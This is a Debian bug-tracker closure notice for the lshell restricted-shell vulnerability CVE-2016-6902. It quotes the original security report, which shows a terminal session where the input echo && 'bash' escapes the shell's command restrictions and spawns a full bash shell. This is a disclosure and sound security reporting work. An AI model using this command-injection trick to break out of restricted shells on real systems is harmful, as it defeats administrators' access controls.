Your message dated Thu, 11 May 2017 15:39:37 +0000
with message-id <e1d8qbl-000fh1...@fasolo.debian.org>
and subject line Bug#862302: Removed package(s) from unstable
has caused the Debian Bug report #834949,
regarding lshell: CVE-2016-6902: Shell outbreak due to bad syntax parse
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
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immediately.)
--
834949: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=834949
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: lshell
Version: 0.9.16-1
Severity: grave
Tags: security upstream
Justification: user security hole
lshell fails to parse shell syntax correctly and restrictions can be overrun:
root@debian:~# getent passwd testuser
testuser:x:1001:1001:,,,:/home/testuser:/usr/bin/lshell
root@debian:~# su - testuser
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
testuser:~$ ?
cd clear echo exit help history ll lpath ls lsudo
testuser:~$ bash
*** forbidden command: bash
testuser:~$ echo && 'bash'
testuser@debian:~$ ps -f
UID PID PPID C STIME TTY TIME CMD
testuser 4000 3999 0 23:12 pts/1 00:00:00 /usr/bin/python /usr/bin/lshell
testuser 4001 4000 0 23:12 pts/1 00:00:00 sh -c set -m; echo && 'bash'
testuser 4002 4001 0 23:12 pts/1 00:00:00 bash
testuser 4007 4002 0 23:13 pts/1 00:00:00 ps -f
Problem exists in current upstream code. There are opened issue on Github but
no reaction yet: https://github.com/ghantoos/lshell/issues/147.
Command parser in this shell is beyound of recovery. I recommend to replace
this shell with symlink to /usr/sbin/nologin.
-- System Information:
Debian Release: 8.5
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 3.16.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
Versions of packages lshell depends on:
ii adduser 3.113+nmu3
ii python 2.7.9-1
lshell recommends no packages.
lshell suggests no packages.
-- no debconf information
--- End Message ---
--- Begin Message ---
Version: 0.9.18-2+rm
Dear submitter,
as the package lshell has just been removed from the Debian archive
unstable we hereby close the associated bug reports. We are sorry
that we couldn't deal with your issue properly.
For details on the removal, please see https://bugs.debian.org/862302
The version of this package that was in Debian prior to this removal
can still be found using http://snapshot.debian.org/.
This message was generated automatically; if you believe that there is
a problem with it please contact the archive administrators by mailing
ftpmas...@ftp-master.debian.org.
Debian distribution maintenance software
pp.
Chris Lamb (the ftpmaster behind the curtain)
--- End Message ---
